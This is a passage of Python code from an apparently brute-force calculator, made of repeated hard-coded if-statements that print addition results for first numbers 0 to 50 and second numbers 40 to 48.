"+" and secondNum == 40 : print("32 + 40 = 72") if firstNum == 33 and sign == "+" and secondNum == 40 : print("33 + 40 = 73") if firstNum == 34 and sign == "+" and secondNum == 40 : print("34 + 40 = 74") if firstNum == 35 and sign == "+" and secondNum == 40 : print("35 + 40 = 75") if firstNum == 36 and sign == "+" and secondNum == 40 : print("36 + 40 = 76") if firstNum == 37 and sign == "+" and secondNum == 40 : print("37 + 40 = 77") if firstNum == 38 and sign == "+" and secondNum == 40 : print("38 + 40 = 78") if firstNum == 39 and sign == "+" and secondNum == 40 : print("39 + 40 = 79") if firstNum == 40 and sign == "+" and secondNum == 40 : print("40 + 40 = 80") if firstNum == 41 and sign == "+" and secondNum == 40 : print("41 + 40 = 81") if firstNum == 42 and sign == "+" and secondNum == 40 : print("42 + 40 = 82") if firstNum == 43 and sign == "+" and secondNum == 40 : print("43 + 40 = 83") if firstNum == 44 and sign == "+" and secondNum == 40 : print("44 + 40 = 84") if firstNum == 45 and sign == "+" and secondNum == 40 : print("45 + 40 = 85") if firstNum == 46 and sign == "+" and secondNum == 40 : print("46 + 40 = 86") if firstNum == 47 and sign == "+" and secondNum == 40 : print("47 + 40 = 87") if firstNum == 48 and sign == "+" and secondNum == 40 : print("48 + 40 = 88") if firstNum == 49 and sign == "+" and secondNum == 40 : print("49 + 40 = 89") if firstNum == 50 and sign == "+" and secondNum == 40 : print("50 + 40 = 90") if firstNum == 0 and sign == "+" and secondNum == 41 : print("0 + 41 = 41") if firstNum == 1 and sign == "+" and secondNum == 41 : print("1 + 41 = 42") if firstNum == 2 and sign == "+" and secondNum == 41 : print("2 + 41 = 43") if firstNum == 3 and sign == "+" and secondNum == 41 : print("3 + 41 = 44") if firstNum == 4 and sign == "+" and secondNum == 41 : print("4 + 41 = 45") if firstNum == 5 and sign == "+" and secondNum == 41 : print("5 + 41 = 46") if firstNum == 6 and sign == "+" and secondNum == 41 : print("6 + 41 = 47") if firstNum == 7 and sign == "+" and secondNum == 41 : print("7 + 41 = 48") if firstNum == 8 and sign == "+" and secondNum == 41 : print("8 + 41 = 49") if firstNum == 9 and sign == "+" and secondNum == 41 : print("9 + 41 = 50") if firstNum == 10 and sign == "+" and secondNum == 41 : print("10 + 41 = 51") if firstNum == 11 and sign == "+" and secondNum == 41 : print("11 + 41 = 52") if firstNum == 12 and sign == "+" and secondNum == 41 : print("12 + 41 = 53") if firstNum == 13 and sign == "+" and secondNum == 41 : print("13 + 41 = 54") if firstNum == 14 and sign == "+" and secondNum == 41 : print("14 + 41 = 55") if firstNum == 15 and sign == "+" and secondNum == 41 : print("15 + 41 = 56") if firstNum == 16 and sign == "+" and secondNum == 41 : print("16 + 41 = 57") if firstNum == 17 and sign == "+" and secondNum == 41 : print("17 + 41 = 58") if firstNum == 18 and sign == "+" and secondNum == 41 : print("18 + 41 = 59") if firstNum == 19 and sign == "+" and secondNum == 41 : print("19 + 41 = 60") if firstNum == 20 and sign == "+" and secondNum == 41 : print("20 + 41 = 61") if firstNum == 21 and sign == "+" and secondNum == 41 : print("21 + 41 = 62") if firstNum == 22 and sign == "+" and secondNum == 41 : print("22 + 41 = 63") if firstNum == 23 and sign == "+" and secondNum == 41 : print("23 + 41 = 64") if firstNum == 24 and sign == "+" and secondNum == 41 : print("24 + 41 = 65") if firstNum == 25 and sign == "+" and secondNum == 41 : print("25 + 41 = 66") if firstNum == 26 and sign == "+" and secondNum == 41 : print("26 + 41 = 67") if firstNum == 27 and sign == "+" and secondNum == 41 : print("27 + 41 = 68") if firstNum == 28 and sign == "+" and secondNum == 41 : print("28 + 41 = 69") if firstNum == 29 and sign == "+" and secondNum == 41 : print("29 + 41 = 70") if firstNum == 30 and sign == "+" and secondNum == 41 : print("30 + 41 = 71") if firstNum == 31 and sign == "+" and secondNum == 41 : print("31 + 41 = 72") if firstNum == 32 and sign == "+" and secondNum == 41 : print("32 + 41 = 73") if firstNum == 33 and sign == "+" and secondNum == 41 : print("33 + 41 = 74") if firstNum == 34 and sign == "+" and secondNum == 41 : print("34 + 41 = 75") if firstNum == 35 and sign == "+" and secondNum == 41 : print("35 + 41 = 76") if firstNum == 36 and sign == "+" and secondNum == 41 : print("36 + 41 = 77") if firstNum == 37 and sign == "+" and secondNum == 41 : print("37 + 41 = 78") if firstNum == 38 and sign == "+" and secondNum == 41 : print("38 + 41 = 79") if firstNum == 39 and sign == "+" and secondNum == 41 : print("39 + 41 = 80") if firstNum == 40 and sign == "+" and secondNum == 41 : print("40 + 41 = 81") if firstNum == 41 and sign == "+" and secondNum == 41 : print("41 + 41 = 82") if firstNum == 42 and sign == "+" and secondNum == 41 : print("42 + 41 = 83") if firstNum == 43 and sign == "+" and secondNum == 41 : print("43 + 41 = 84") if firstNum == 44 and sign == "+" and secondNum == 41 : print("44 + 41 = 85") if firstNum == 45 and sign == "+" and secondNum == 41 : print("45 + 41 = 86") if firstNum == 46 and sign == "+" and secondNum == 41 : print("46 + 41 = 87") if firstNum == 47 and sign == "+" and secondNum == 41 : print("47 + 41 = 88") if firstNum == 48 and sign == "+" and secondNum == 41 : print("48 + 41 = 89") if firstNum == 49 and sign == "+" and secondNum == 41 : print("49 + 41 = 90") if firstNum == 50 and sign == "+" and secondNum == 41 : print("50 + 41 = 91") if firstNum == 0 and sign == "+" and secondNum == 42 : print("0 + 42 = 42") if firstNum == 1 and sign == "+" and secondNum == 42 : print("1 + 42 = 43") if firstNum == 2 and sign == "+" and secondNum == 42 : print("2 + 42 = 44") if firstNum == 3 and sign == "+" and secondNum == 42 : print("3 + 42 = 45") if firstNum == 4 and sign == "+" and secondNum == 42 : print("4 + 42 = 46") if firstNum == 5 and sign == "+" and secondNum == 42 : print("5 + 42 = 47") if firstNum == 6 and sign == "+" and secondNum == 42 : print("6 + 42 = 48") if firstNum == 7 and sign == "+" and secondNum == 42 : print("7 + 42 = 49") if firstNum == 8 and sign == "+" and secondNum == 42 : print("8 + 42 = 50") if firstNum == 9 and sign == "+" and secondNum == 42 : print("9 + 42 = 51") if firstNum == 10 and sign == "+" and secondNum == 42 : print("10 + 42 = 52") if firstNum == 11 and sign == "+" and secondNum == 42 : print("11 + 42 = 53") if firstNum == 12 and sign == "+" and secondNum == 42 : print("12 + 42 = 54") if firstNum == 13 and sign == "+" and secondNum == 42 : print("13 + 42 = 55") if firstNum == 14 and sign == "+" and secondNum == 42 : print("14 + 42 = 56") if firstNum == 15 and sign == "+" and secondNum == 42 : print("15 + 42 = 57") if firstNum == 16 and sign == "+" and secondNum == 42 : print("16 + 42 = 58") if firstNum == 17 and sign == "+" and secondNum == 42 : print("17 + 42 = 59") if firstNum == 18 and sign == "+" and secondNum == 42 : print("18 + 42 = 60") if firstNum == 19 and sign == "+" and secondNum == 42 : print("19 + 42 = 61") if firstNum == 20 and sign == "+" and secondNum == 42 : print("20 + 42 = 62") if firstNum == 21 and sign == "+" and secondNum == 42 : print("21 + 42 = 63") if firstNum == 22 and sign == "+" and secondNum == 42 : print("22 + 42 = 64") if firstNum == 23 and sign == "+" and secondNum == 42 : print("23 + 42 = 65") if firstNum == 24 and sign == "+" and secondNum == 42 : print("24 + 42 = 66") if firstNum == 25 and sign == "+" and secondNum == 42 : print("25 + 42 = 67") if firstNum == 26 and sign == "+" and secondNum == 42 : print("26 + 42 = 68") if firstNum == 27 and sign == "+" and secondNum == 42 : print("27 + 42 = 69") if firstNum == 28 and sign == "+" and secondNum == 42 : print("28 + 42 = 70") if firstNum == 29 and sign == "+" and secondNum == 42 : print("29 + 42 = 71") if firstNum == 30 and sign == "+" and secondNum == 42 : print("30 + 42 = 72") if firstNum == 31 and sign == "+" and secondNum == 42 : print("31 + 42 = 73") if firstNum == 32 and sign == "+" and secondNum == 42 : print("32 + 42 = 74") if firstNum == 33 and sign == "+" and secondNum == 42 : print("33 + 42 = 75") if firstNum == 34 and sign == "+" and secondNum == 42 : print("34 + 42 = 76") if firstNum == 35 and sign == "+" and secondNum == 42 : print("35 + 42 = 77") if firstNum == 36 and sign == "+" and secondNum == 42 : print("36 + 42 = 78") if firstNum == 37 and sign == "+" and secondNum == 42 : print("37 + 42 = 79") if firstNum == 38 and sign == "+" and secondNum == 42 : print("38 + 42 = 80") if firstNum == 39 and sign == "+" and secondNum == 42 : print("39 + 42 = 81") if firstNum == 40 and sign == "+" and secondNum == 42 : print("40 + 42 = 82") if firstNum == 41 and sign == "+" and secondNum == 42 : print("41 + 42 = 83") if firstNum == 42 and sign == "+" and secondNum == 42 : print("42 + 42 = 84") if firstNum == 43 and sign == "+" and secondNum == 42 : print("43 + 42 = 85") if firstNum == 44 and sign == "+" and secondNum == 42 : print("44 + 42 = 86") if firstNum == 45 and sign == "+" and secondNum == 42 : print("45 + 42 = 87") if firstNum == 46 and sign == "+" and secondNum == 42 : print("46 + 42 = 88") if firstNum == 47 and sign == "+" and secondNum == 42 : print("47 + 42 = 89") if firstNum == 48 and sign == "+" and secondNum == 42 : print("48 + 42 = 90") if firstNum == 49 and sign == "+" and secondNum == 42 : print("49 + 42 = 91") if firstNum == 50 and sign == "+" and secondNum == 42 : print("50 + 42 = 92") if firstNum == 0 and sign == "+" and secondNum == 43 : print("0 + 43 = 43") if firstNum == 1 and sign == "+" and secondNum == 43 : print("1 + 43 = 44") if firstNum == 2 and sign == "+" and secondNum == 43 : print("2 + 43 = 45") if firstNum == 3 and sign == "+" and secondNum == 43 : print("3 + 43 = 46") if firstNum == 4 and sign == "+" and secondNum == 43 : print("4 + 43 = 47") if firstNum == 5 and sign == "+" and secondNum == 43 : print("5 + 43 = 48") if firstNum == 6 and sign == "+" and secondNum == 43 : print("6 + 43 = 49") if firstNum == 7 and sign == "+" and secondNum == 43 : print("7 + 43 = 50") if firstNum == 8 and sign == "+" and secondNum == 43 : print("8 + 43 = 51") if firstNum == 9 and sign == "+" and secondNum == 43 : print("9 + 43 = 52") if firstNum == 10 and sign == "+" and secondNum == 43 : print("10 + 43 = 53") if firstNum == 11 and sign == "+" and secondNum == 43 : print("11 + 43 = 54") if firstNum == 12 and sign == "+" and secondNum == 43 : print("12 + 43 = 55") if firstNum == 13 and sign == "+" and secondNum == 43 : print("13 + 43 = 56") if firstNum == 14 and sign == "+" and secondNum == 43 : print("14 + 43 = 57") if firstNum == 15 and sign == "+" and secondNum == 43 : print("15 + 43 = 58") if firstNum == 16 and sign == "+" and secondNum == 43 : print("16 + 43 = 59") if firstNum == 17 and sign == "+" and secondNum == 43 : print("17 + 43 = 60") if firstNum == 18 and sign == "+" and secondNum == 43 : print("18 + 43 = 61") if firstNum == 19 and sign == "+" and secondNum == 43 : print("19 + 43 = 62") if firstNum == 20 and sign == "+" and secondNum == 43 : print("20 + 43 = 63") if firstNum == 21 and sign == "+" and secondNum == 43 : print("21 + 43 = 64") if firstNum == 22 and sign == "+" and secondNum == 43 : print("22 + 43 = 65") if firstNum == 23 and sign == "+" and secondNum == 43 : print("23 + 43 = 66") if firstNum == 24 and sign == "+" and secondNum == 43 : print("24 + 43 = 67") if firstNum == 25 and sign == "+" and secondNum == 43 : print("25 + 43 = 68") if firstNum == 26 and sign == "+" and secondNum == 43 : print("26 + 43 = 69") if firstNum == 27 and sign == "+" and secondNum == 43 : print("27 + 43 = 70") if firstNum == 28 and sign == "+" and secondNum == 43 : print("28 + 43 = 71") if firstNum == 29 and sign == "+" and secondNum == 43 : print("29 + 43 = 72") if firstNum == 30 and sign == "+" and secondNum == 43 : print("30 + 43 = 73") if firstNum == 31 and sign == "+" and secondNum == 43 : print("31 + 43 = 74") if firstNum == 32 and sign == "+" and secondNum == 43 : print("32 + 43 = 75") if firstNum == 33 and sign == "+" and secondNum == 43 : print("33 + 43 = 76") if firstNum == 34 and sign == "+" and secondNum == 43 : print("34 + 43 = 77") if firstNum == 35 and sign == "+" and secondNum == 43 : print("35 + 43 = 78") if firstNum == 36 and sign == "+" and secondNum == 43 : print("36 + 43 = 79") if firstNum == 37 and sign == "+" and secondNum == 43 : print("37 + 43 = 80") if firstNum == 38 and sign == "+" and secondNum == 43 : print("38 + 43 = 81") if firstNum == 39 and sign == "+" and secondNum == 43 : print("39 + 43 = 82") if firstNum == 40 and sign == "+" and secondNum == 43 : print("40 + 43 = 83") if firstNum == 41 and sign == "+" and secondNum == 43 : print("41 + 43 = 84") if firstNum == 42 and sign == "+" and secondNum == 43 : print("42 + 43 = 85") if firstNum == 43 and sign == "+" and secondNum == 43 : print("43 + 43 = 86") if firstNum == 44 and sign == "+" and secondNum == 43 : print("44 + 43 = 87") if firstNum == 45 and sign == "+" and secondNum == 43 : print("45 + 43 = 88") if firstNum == 46 and sign == "+" and secondNum == 43 : print("46 + 43 = 89") if firstNum == 47 and sign == "+" and secondNum == 43 : print("47 + 43 = 90") if firstNum == 48 and sign == "+" and secondNum == 43 : print("48 + 43 = 91") if firstNum == 49 and sign == "+" and secondNum == 43 : print("49 + 43 = 92") if firstNum == 50 and sign == "+" and secondNum == 43 : print("50 + 43 = 93") if firstNum == 0 and sign == "+" and secondNum == 44 : print("0 + 44 = 44") if firstNum == 1 and sign == "+" and secondNum == 44 : print("1 + 44 = 45") if firstNum == 2 and sign == "+" and secondNum == 44 : print("2 + 44 = 46") if firstNum == 3 and sign == "+" and secondNum == 44 : print("3 + 44 = 47") if firstNum == 4 and sign == "+" and secondNum == 44 : print("4 + 44 = 48") if firstNum == 5 and sign == "+" and secondNum == 44 : print("5 + 44 = 49") if firstNum == 6 and sign == "+" and secondNum == 44 : print("6 + 44 = 50") if firstNum == 7 and sign == "+" and secondNum == 44 : print("7 + 44 = 51") if firstNum == 8 and sign == "+" and secondNum == 44 : print("8 + 44 = 52") if firstNum == 9 and sign == "+" and secondNum == 44 : print("9 + 44 = 53") if firstNum == 10 and sign == "+" and secondNum == 44 : print("10 + 44 = 54") if firstNum == 11 and sign == "+" and secondNum == 44 : print("11 + 44 = 55") if firstNum == 12 and sign == "+" and secondNum == 44 : print("12 + 44 = 56") if firstNum == 13 and sign == "+" and secondNum == 44 : print("13 + 44 = 57") if firstNum == 14 and sign == "+" and secondNum == 44 : print("14 + 44 = 58") if firstNum == 15 and sign == "+" and secondNum == 44 : print("15 + 44 = 59") if firstNum == 16 and sign == "+" and secondNum == 44 : print("16 + 44 = 60") if firstNum == 17 and sign == "+" and secondNum == 44 : print("17 + 44 = 61") if firstNum == 18 and sign == "+" and secondNum == 44 : print("18 + 44 = 62") if firstNum == 19 and sign == "+" and secondNum == 44 : print("19 + 44 = 63") if firstNum == 20 and sign == "+" and secondNum == 44 : print("20 + 44 = 64") if firstNum == 21 and sign == "+" and secondNum == 44 : print("21 + 44 = 65") if firstNum == 22 and sign == "+" and secondNum == 44 : print("22 + 44 = 66") if firstNum == 23 and sign == "+" and secondNum == 44 : print("23 + 44 = 67") if firstNum == 24 and sign == "+" and secondNum == 44 : print("24 + 44 = 68") if firstNum == 25 and sign == "+" and secondNum == 44 : print("25 + 44 = 69") if firstNum == 26 and sign == "+" and secondNum == 44 : print("26 + 44 = 70") if firstNum == 27 and sign == "+" and secondNum == 44 : print("27 + 44 = 71") if firstNum == 28 and sign == "+" and secondNum == 44 : print("28 + 44 = 72") if firstNum == 29 and sign == "+" and secondNum == 44 : print("29 + 44 = 73") if firstNum == 30 and sign == "+" and secondNum == 44 : print("30 + 44 = 74") if firstNum == 31 and sign == "+" and secondNum == 44 : print("31 + 44 = 75") if firstNum == 32 and sign == "+" and secondNum == 44 : print("32 + 44 = 76") if firstNum == 33 and sign == "+" and secondNum == 44 : print("33 + 44 = 77") if firstNum == 34 and sign == "+" and secondNum == 44 : print("34 + 44 = 78") if firstNum == 35 and sign == "+" and secondNum == 44 : print("35 + 44 = 79") if firstNum == 36 and sign == "+" and secondNum == 44 : print("36 + 44 = 80") if firstNum == 37 and sign == "+" and secondNum == 44 : print("37 + 44 = 81") if firstNum == 38 and sign == "+" and secondNum == 44 : print("38 + 44 = 82") if firstNum == 39 and sign == "+" and secondNum == 44 : print("39 + 44 = 83") if firstNum == 40 and sign == "+" and secondNum == 44 : print("40 + 44 = 84") if firstNum == 41 and sign == "+" and secondNum == 44 : print("41 + 44 = 85") if firstNum == 42 and sign == "+" and secondNum == 44 : print("42 + 44 = 86") if firstNum == 43 and sign == "+" and secondNum == 44 : print("43 + 44 = 87") if firstNum == 44 and sign == "+" and secondNum == 44 : print("44 + 44 = 88") if firstNum == 45 and sign == "+" and secondNum == 44 : print("45 + 44 = 89") if firstNum == 46 and sign == "+" and secondNum == 44 : print("46 + 44 = 90") if firstNum == 47 and sign == "+" and secondNum == 44 : print("47 + 44 = 91") if firstNum == 48 and sign == "+" and secondNum == 44 : print("48 + 44 = 92") if firstNum == 49 and sign == "+" and secondNum == 44 : print("49 + 44 = 93") if firstNum == 50 and sign == "+" and secondNum == 44 : print("50 + 44 = 94") if firstNum == 0 and sign == "+" and secondNum == 45 : print("0 + 45 = 45") if firstNum == 1 and sign == "+" and secondNum == 45 : print("1 + 45 = 46") if firstNum == 2 and sign == "+" and secondNum == 45 : print("2 + 45 = 47") if firstNum == 3 and sign == "+" and secondNum == 45 : print("3 + 45 = 48") if firstNum == 4 and sign == "+" and secondNum == 45 : print("4 + 45 = 49") if firstNum == 5 and sign == "+" and secondNum == 45 : print("5 + 45 = 50") if firstNum == 6 and sign == "+" and secondNum == 45 : print("6 + 45 = 51") if firstNum == 7 and sign == "+" and secondNum == 45 : print("7 + 45 = 52") if firstNum == 8 and sign == "+" and secondNum == 45 : print("8 + 45 = 53") if firstNum == 9 and sign == "+" and secondNum == 45 : print("9 + 45 = 54") if firstNum == 10 and sign == "+" and secondNum == 45 : print("10 + 45 = 55") if firstNum == 11 and sign == "+" and secondNum == 45 : print("11 + 45 = 56") if firstNum == 12 and sign == "+" and secondNum == 45 : print("12 + 45 = 57") if firstNum == 13 and sign == "+" and secondNum == 45 : print("13 + 45 = 58") if firstNum == 14 and sign == "+" and secondNum == 45 : print("14 + 45 = 59") if firstNum == 15 and sign == "+" and secondNum == 45 : print("15 + 45 = 60") if firstNum == 16 and sign == "+" and secondNum == 45 : print("16 + 45 = 61") if firstNum == 17 and sign == "+" and secondNum == 45 : print("17 + 45 = 62") if firstNum == 18 and sign == "+" and secondNum == 45 : print("18 + 45 = 63") if firstNum == 19 and sign == "+" and secondNum == 45 : print("19 + 45 = 64") if firstNum == 20 and sign == "+" and secondNum == 45 : print("20 + 45 = 65") if firstNum == 21 and sign == "+" and secondNum == 45 : print("21 + 45 = 66") if firstNum == 22 and sign == "+" and secondNum == 45 : print("22 + 45 = 67") if firstNum == 23 and sign == "+" and secondNum == 45 : print("23 + 45 = 68") if firstNum == 24 and sign == "+" and secondNum == 45 : print("24 + 45 = 69") if firstNum == 25 and sign == "+" and secondNum == 45 : print("25 + 45 = 70") if firstNum == 26 and sign == "+" and secondNum == 45 : print("26 + 45 = 71") if firstNum == 27 and sign == "+" and secondNum == 45 : print("27 + 45 = 72") if firstNum == 28 and sign == "+" and secondNum == 45 : print("28 + 45 = 73") if firstNum == 29 and sign == "+" and secondNum == 45 : print("29 + 45 = 74") if firstNum == 30 and sign == "+" and secondNum == 45 : print("30 + 45 = 75") if firstNum == 31 and sign == "+" and secondNum == 45 : print("31 + 45 = 76") if firstNum == 32 and sign == "+" and secondNum == 45 : print("32 + 45 = 77") if firstNum == 33 and sign == "+" and secondNum == 45 : print("33 + 45 = 78") if firstNum == 34 and sign == "+" and secondNum == 45 : print("34 + 45 = 79") if firstNum == 35 and sign == "+" and secondNum == 45 : print("35 + 45 = 80") if firstNum == 36 and sign == "+" and secondNum == 45 : print("36 + 45 = 81") if firstNum == 37 and sign == "+" and secondNum == 45 : print("37 + 45 = 82") if firstNum == 38 and sign == "+" and secondNum == 45 : print("38 + 45 = 83") if firstNum == 39 and sign == "+" and secondNum == 45 : print("39 + 45 = 84") if firstNum == 40 and sign == "+" and secondNum == 45 : print("40 + 45 = 85") if firstNum == 41 and sign == "+" and secondNum == 45 : print("41 + 45 = 86") if firstNum == 42 and sign == "+" and secondNum == 45 : print("42 + 45 = 87") if firstNum == 43 and sign == "+" and secondNum == 45 : print("43 + 45 = 88") if firstNum == 44 and sign == "+" and secondNum == 45 : print("44 + 45 = 89") if firstNum == 45 and sign == "+" and secondNum == 45 : print("45 + 45 = 90") if firstNum == 46 and sign == "+" and secondNum == 45 : print("46 + 45 = 91") if firstNum == 47 and sign == "+" and secondNum == 45 : print("47 + 45 = 92") if firstNum == 48 and sign == "+" and secondNum == 45 : print("48 + 45 = 93") if firstNum == 49 and sign == "+" and secondNum == 45 : print("49 + 45 = 94") if firstNum == 50 and sign == "+" and secondNum == 45 : print("50 + 45 = 95") if firstNum == 0 and sign == "+" and secondNum == 46 : print("0 + 46 = 46") if firstNum == 1 and sign == "+" and secondNum == 46 : print("1 + 46 = 47") if firstNum == 2 and sign == "+" and secondNum == 46 : print("2 + 46 = 48") if firstNum == 3 and sign == "+" and secondNum == 46 : print("3 + 46 = 49") if firstNum == 4 and sign == "+" and secondNum == 46 : print("4 + 46 = 50") if firstNum == 5 and sign == "+" and secondNum == 46 : print("5 + 46 = 51") if firstNum == 6 and sign == "+" and secondNum == 46 : print("6 + 46 = 52") if firstNum == 7 and sign == "+" and secondNum == 46 : print("7 + 46 = 53") if firstNum == 8 and sign == "+" and secondNum == 46 : print("8 + 46 = 54") if firstNum == 9 and sign == "+" and secondNum == 46 : print("9 + 46 = 55") if firstNum == 10 and sign == "+" and secondNum == 46 : print("10 + 46 = 56") if firstNum == 11 and sign == "+" and secondNum == 46 : print("11 + 46 = 57") if firstNum == 12 and sign == "+" and secondNum == 46 : print("12 + 46 = 58") if firstNum == 13 and sign == "+" and secondNum == 46 : print("13 + 46 = 59") if firstNum == 14 and sign == "+" and secondNum == 46 : print("14 + 46 = 60") if firstNum == 15 and sign == "+" and secondNum == 46 : print("15 + 46 = 61") if firstNum == 16 and sign == "+" and secondNum == 46 : print("16 + 46 = 62") if firstNum == 17 and sign == "+" and secondNum == 46 : print("17 + 46 = 63") if firstNum == 18 and sign == "+" and secondNum == 46 : print("18 + 46 = 64") if firstNum == 19 and sign == "+" and secondNum == 46 : print("19 + 46 = 65") if firstNum == 20 and sign == "+" and secondNum == 46 : print("20 + 46 = 66") if firstNum == 21 and sign == "+" and secondNum == 46 : print("21 + 46 = 67") if firstNum == 22 and sign == "+" and secondNum == 46 : print("22 + 46 = 68") if firstNum == 23 and sign == "+" and secondNum == 46 : print("23 + 46 = 69") if firstNum == 24 and sign == "+" and secondNum == 46 : print("24 + 46 = 70") if firstNum == 25 and sign == "+" and secondNum == 46 : print("25 + 46 = 71") if firstNum == 26 and sign == "+" and secondNum == 46 : print("26 + 46 = 72") if firstNum == 27 and sign == "+" and secondNum == 46 : print("27 + 46 = 73") if firstNum == 28 and sign == "+" and secondNum == 46 : print("28 + 46 = 74") if firstNum == 29 and sign == "+" and secondNum == 46 : print("29 + 46 = 75") if firstNum == 30 and sign == "+" and secondNum == 46 : print("30 + 46 = 76") if firstNum == 31 and sign == "+" and secondNum == 46 : print("31 + 46 = 77") if firstNum == 32 and sign == "+" and secondNum == 46 : print("32 + 46 = 78") if firstNum == 33 and sign == "+" and secondNum == 46 : print("33 + 46 = 79") if firstNum == 34 and sign == "+" and secondNum == 46 : print("34 + 46 = 80") if firstNum == 35 and sign == "+" and secondNum == 46 : print("35 + 46 = 81") if firstNum == 36 and sign == "+" and secondNum == 46 : print("36 + 46 = 82") if firstNum == 37 and sign == "+" and secondNum == 46 : print("37 + 46 = 83") if firstNum == 38 and sign == "+" and secondNum == 46 : print("38 + 46 = 84") if firstNum == 39 and sign == "+" and secondNum == 46 : print("39 + 46 = 85") if firstNum == 40 and sign == "+" and secondNum == 46 : print("40 + 46 = 86") if firstNum == 41 and sign == "+" and secondNum == 46 : print("41 + 46 = 87") if firstNum == 42 and sign == "+" and secondNum == 46 : print("42 + 46 = 88") if firstNum == 43 and sign == "+" and secondNum == 46 : print("43 + 46 = 89") if firstNum == 44 and sign == "+" and secondNum == 46 : print("44 + 46 = 90") if firstNum == 45 and sign == "+" and secondNum == 46 : print("45 + 46 = 91") if firstNum == 46 and sign == "+" and secondNum == 46 : print("46 + 46 = 92") if firstNum == 47 and sign == "+" and secondNum == 46 : print("47 + 46 = 93") if firstNum == 48 and sign == "+" and secondNum == 46 : print("48 + 46 = 94") if firstNum == 49 and sign == "+" and secondNum == 46 : print("49 + 46 = 95") if firstNum == 50 and sign == "+" and secondNum == 46 : print("50 + 46 = 96") if firstNum == 0 and sign == "+" and secondNum == 47 : print("0 + 47 = 47") if firstNum == 1 and sign == "+" and secondNum == 47 : print("1 + 47 = 48") if firstNum == 2 and sign == "+" and secondNum == 47 : print("2 + 47 = 49") if firstNum == 3 and sign == "+" and secondNum == 47 : print("3 + 47 = 50") if firstNum == 4 and sign == "+" and secondNum == 47 : print("4 + 47 = 51") if firstNum == 5 and sign == "+" and secondNum == 47 : print("5 + 47 = 52") if firstNum == 6 and sign == "+" and secondNum == 47 : print("6 + 47 = 53") if firstNum == 7 and sign == "+" and secondNum == 47 : print("7 + 47 = 54") if firstNum == 8 and sign == "+" and secondNum == 47 : print("8 + 47 = 55") if firstNum == 9 and sign == "+" and secondNum == 47 : print("9 + 47 = 56") if firstNum == 10 and sign == "+" and secondNum == 47 : print("10 + 47 = 57") if firstNum == 11 and sign == "+" and secondNum == 47 : print("11 + 47 = 58") if firstNum == 12 and sign == "+" and secondNum == 47 : print("12 + 47 = 59") if firstNum == 13 and sign == "+" and secondNum == 47 : print("13 + 47 = 60") if firstNum == 14 and sign == "+" and secondNum == 47 : print("14 + 47 = 61") if firstNum == 15 and sign == "+" and secondNum == 47 : print("15 + 47 = 62") if firstNum == 16 and sign == "+" and secondNum == 47 : print("16 + 47 = 63") if firstNum == 17 and sign == "+" and secondNum == 47 : print("17 + 47 = 64") if firstNum == 18 and sign == "+" and secondNum == 47 : print("18 + 47 = 65") if firstNum == 19 and sign == "+" and secondNum == 47 : print("19 + 47 = 66") if firstNum == 20 and sign == "+" and secondNum == 47 : print("20 + 47 = 67") if firstNum == 21 and sign == "+" and secondNum == 47 : print("21 + 47 = 68") if firstNum == 22 and sign == "+" and secondNum == 47 : print("22 + 47 = 69") if firstNum == 23 and sign == "+" and secondNum == 47 : print("23 + 47 = 70") if firstNum == 24 and sign == "+" and secondNum == 47 : print("24 + 47 = 71") if firstNum == 25 and sign == "+" and secondNum == 47 : print("25 + 47 = 72") if firstNum == 26 and sign == "+" and secondNum == 47 : print("26 + 47 = 73") if firstNum == 27 and sign == "+" and secondNum == 47 : print("27 + 47 = 74") if firstNum == 28 and sign == "+" and secondNum == 47 : print("28 + 47 = 75") if firstNum == 29 and sign == "+" and secondNum == 47 : print("29 + 47 = 76") if firstNum == 30 and sign == "+" and secondNum == 47 : print("30 + 47 = 77") if firstNum == 31 and sign == "+" and secondNum == 47 : print("31 + 47 = 78") if firstNum == 32 and sign == "+" and secondNum == 47 : print("32 + 47 = 79") if firstNum == 33 and sign == "+" and secondNum == 47 : print("33 + 47 = 80") if firstNum == 34 and sign == "+" and secondNum == 47 : print("34 + 47 = 81") if firstNum == 35 and sign == "+" and secondNum == 47 : print("35 + 47 = 82") if firstNum == 36 and sign == "+" and secondNum == 47 : print("36 + 47 = 83") if firstNum == 37 and sign == "+" and secondNum == 47 : print("37 + 47 = 84") if firstNum == 38 and sign == "+" and secondNum == 47 : print("38 + 47 = 85") if firstNum == 39 and sign == "+" and secondNum == 47 : print("39 + 47 = 86") if firstNum == 40 and sign == "+" and secondNum == 47 : print("40 + 47 = 87") if firstNum == 41 and sign == "+" and secondNum == 47 : print("41 + 47 = 88") if firstNum == 42 and sign == "+" and secondNum == 47 : print("42 + 47 = 89") if firstNum == 43 and sign == "+" and secondNum == 47 : print("43 + 47 = 90") if firstNum == 44 and sign == "+" and secondNum == 47 : print("44 + 47 = 91") if firstNum == 45 and sign == "+" and secondNum == 47 : print("45 + 47 = 92") if firstNum == 46 and sign == "+" and secondNum == 47 : print("46 + 47 = 93") if firstNum == 47 and sign == "+" and secondNum == 47 : print("47 + 47 = 94") if firstNum == 48 and sign == "+" and secondNum == 47 : print("48 + 47 = 95") if firstNum == 49 and sign == "+" and secondNum == 47 : print("49 + 47 = 96") if firstNum == 50 and sign == "+" and secondNum == 47 : print("50 + 47 = 97") if firstNum == 0 and sign == "+" and secondNum == 48 : print("0 + 48 = 48") if firstNum == 1 and sign == "+" and secondNum == 48 : print("1 + 48 = 49") if firstNum == 2 and sign == "+" and secondNum == 48 : print("2 + 48 = 50") if firstNum == 3 and sign == "+" and secondNum == 48 : print("3 + 48 = 51") if firstNum == 4 and sign == "+" and secondNum == 48 : print("4 + 48 = 52") if firstNum == 5 and sign == "+" and secondNum == 48 : print("5 + 48 = 53") if firstNum == 6 and sign == "+" and secondNum == 48 : print("6 + 48 = 54") if firstNum == 7 and sign == "+" and secondNum == 48 : print("7 + 48 = 55") if firstNum == 8 and sign == "+" and secondNum == 48 : print("8 + 48 = 56") if firstNum == 9 and sign == "+" and secondNum == 48 : print("9 + 48 = 57") if firstNum == 10 and sign == "+" and secondNum == 48 : print("10 + 48 = 58") if firstNum == 11 and sign == "+" and secondNum == 48 : print("11 + 48 = 59") if firstNum == 12 and sign == "+" and secondNum == 48 : print("12 + 48 = 60") if firstNum == 13 and sign == "+" and secondNum == 48 : print("13 + 48 = 61") if firstNum == 14 and sign == "+" and secondNum == 48 : print("14 + 48 = 62") if firstNum == 15 and sign == "+" and secondNum == 48 : print("15 + 48 = 63") if firstNum == 16 and sign == "+" and secondNum == 48 : print("16 + 48 = 64") if firstNum == 17 and sign == "+" and secondNum == 48 : print("17 + 48 = 65") if firstNum == 18 and sign == "+" and secondNum == 48 : print("18 + 48 = 66") if 